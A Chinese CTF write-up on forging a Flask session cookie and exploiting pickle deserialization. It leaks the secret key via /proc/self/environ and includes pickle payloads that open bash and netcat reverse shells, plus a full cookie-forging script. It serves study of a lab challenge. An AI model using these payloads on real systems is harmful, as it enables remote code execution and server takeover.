python反序列化,每天一刷,今天刷个进阶的,最近不是iSCC比赛嘛,里面也有个python反序列化的题目,等比赛结束再把那个题记录下来,和今天做的这个题在某一些方面比较相像。
这题的考点有两个,一个是flask session伪造,一个是Py反序列化。一起看看吧!
找密匙
顺着题目的信息一直走下去我们可以很简单的拿到源码,
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
通过代码的分析,我们得知SECRET_KEY的值被隐藏了,它是干什么的呢?不急我们继续分析,
cookie中藏了个不得了的东西,没错是一个session,具体为:eyJ1Ijp7IiBiIjoiZ0FTVkdBQUFBQUFBQUFDTUNGOWZiV0ZwYmw5ZmxJd0VWWE5sY3BTVGxDbUJsQzQ9In19.Yod9VA.TSKGwUbsWj-bT5l8ob7mgXZtxJs
我开始还以为是之前做ikun的那种JWT,毕竟格式非常的像,也是三段,但是放进JWT解析中也不对,而且它的键是session而不是JWT。base64解码可以看到上述,前半段是验证信息,后来在网上查了一下,这是session的数据加密,通过一个验证信息与密匙加密获得的上面一串数据,因此我们刚刚说的 SECRET_KEY 是一个密匙。
经过代码审计,我们需要找到密匙然后伪造一个session,保证session的键u,以及键u的值中的键b为Python序列化的数据,我们需要的构造恶意序列化数据打入其中。通过看文章得知,/proc/self/environ目录为全局变量的存储路径,对flask框架不太清楚,这个路径应该是flask默认存全局变量的路径吧,
key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
密匙到手。
Python反序列化的构造
首先,通过对之前那段base64解码的内容的读取,出现了User这个东西,所以猜想应该是对如下代码进行了序列化得到的那串数据,
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
这个type的使用会返回一个对象,真的妙,所以其实也算是一个类,我们按照这种格式在里面加一点东西如:__reduce__,
import pickle
import base64
import subprocess
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (subprocess.getoutput, ("ls",))
})
u = pickle.dumps(User())
print(base64.b64encode(u))
测试了一下命令执行,会报500,所以这里我们用反弹shell解决该题,
import os
import pickle
import base64
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/your_ip/2333 0>&1'",))
})
u = pickle.dumps(User())
print(base64.b64encode(u))
除了bash可以反弹shell以外,还有之前做water的时候那个nc you_IP 2333 -e/bin/sh 都可以反弹shell。
伪造session
元素都准备好了,我们就需要利用密匙与数据进行加密得到数据,将其打入session中在服务器监听到shell即可,我们现在需要做的就是如何构造session,最标准的就是用给的一个工具flask unsign,具体使用可以在GitHub中浏览。这里我用的是一个师傅的脚本,只想说不能太好用。
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
使用:
python3 session.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'gASVUAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDViYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwNi4xMDguNjYvMjMzMyAwPiYxJ5SFlFKULg=='}}"
将得到的payload打入session,在/admin界面再刷新一遍即可反弹shell到服务器上